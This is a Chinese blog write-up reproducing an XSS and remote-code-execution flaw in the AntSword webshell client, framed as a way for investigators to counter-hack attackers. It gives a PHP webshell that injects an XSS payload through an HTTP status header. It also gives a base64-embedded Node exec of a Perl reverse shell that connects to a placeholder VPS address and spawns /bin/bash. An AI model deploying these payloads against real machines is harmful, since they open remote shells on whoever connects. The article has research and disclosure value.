黑客热爱的中国蚁剑工具被爆出XSS\RCE漏洞

前言

在中国蚁剑的GitHub项目主页,发现有人提交了一个问题,中国蚁剑存在XSS和RCE漏洞

黑客热爱的中国蚁剑工具被爆出XSS\RCE漏洞

中国蚁剑的GitHub项目问题页面

看到这里我决定搭建环境,本地复现一下

复现

  • 1 环境准备
  • 由于我比较懒,我就使用集成环境Xmapp了,它刚好有Apache和PHP环境。

黑客热爱的中国蚁剑工具被爆出XSS\RCE漏洞

Xmapp

那么这台安装了Xmapp的服务器就当做被攻击者黑掉的对象

既然被黑了,那肯定上了webshell。

  • 2 准备webshell

准备两个webshell,一个是验证XSS的webshell,一个是验证RCE的webshell,RCE的webshell还可以用来直接反弹攻击者的shell

XSS的WebShell如下:

<?php
header(’HTTP/1.1 500 <img src=# onerror=alert(1)>’);

我们把它放到Xmapp的DashBoard目录下,然后添加到中国蚁剑运行即可看到效果

黑客热爱的中国蚁剑工具被爆出XSS\RCE漏洞

Xmapp

黑客热爱的中国蚁剑工具被爆出XSS\RCE漏洞

中国蚁剑

黑客热爱的中国蚁剑工具被爆出XSS\RCE漏洞

XSS

现在我们来反弹攻击者的shell

require(’child_process’)*ex.e**c(’perl -e \’use Socket;$i="vpsip";$p=1002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};\’’,(error, stdout, stderr)=>{
 alert(`stdout: ${stdout}`);
 });

将上述代码中的vpsip改为取证者的vpsip(公网IP),进行BASE64编码,并与下面的代码进行合并

<?php
header("HTTP/1.1 406 Not <img src=# onerror=’eval(new Buffer(`base64代码`,`base64`).toString())’>");
?>

完成以后,依然存放到Xmapp的DashBoard目录下,然后在vps上面进行监听1002端口(随意端口都行)

黑客热爱的中国蚁剑工具被爆出XSS\RCE漏洞

Xmapp

黑客热爱的中国蚁剑工具被爆出XSS\RCE漏洞

监听端口

接着我们模拟攻击者使用中国蚁剑连接webshell

黑客热爱的中国蚁剑工具被爆出XSS\RCE漏洞

中国蚁剑

中国蚁剑马上报错

黑客热爱的中国蚁剑工具被爆出XSS\RCE漏洞

报错

但是成功反弹攻击者shell

黑客热爱的中国蚁剑工具被爆出XSS\RCE漏洞

反弹攻击者shell

成因

根据问题发现者的描述,在于中国蚁剑源码中如下文件的206行

~/source/modules/filemanage/index.js

黑客热爱的中国蚁剑工具被爆出XSS\RCE漏洞

已修复

目前中国蚁剑已修复,但对于很多攻击者来说,第一时间若没有及时更新,则执法部门即可利用该漏洞进行调查取证、攻击溯源,而该漏洞对于打击网络犯罪必将提供很大帮助。

作者:清水川崎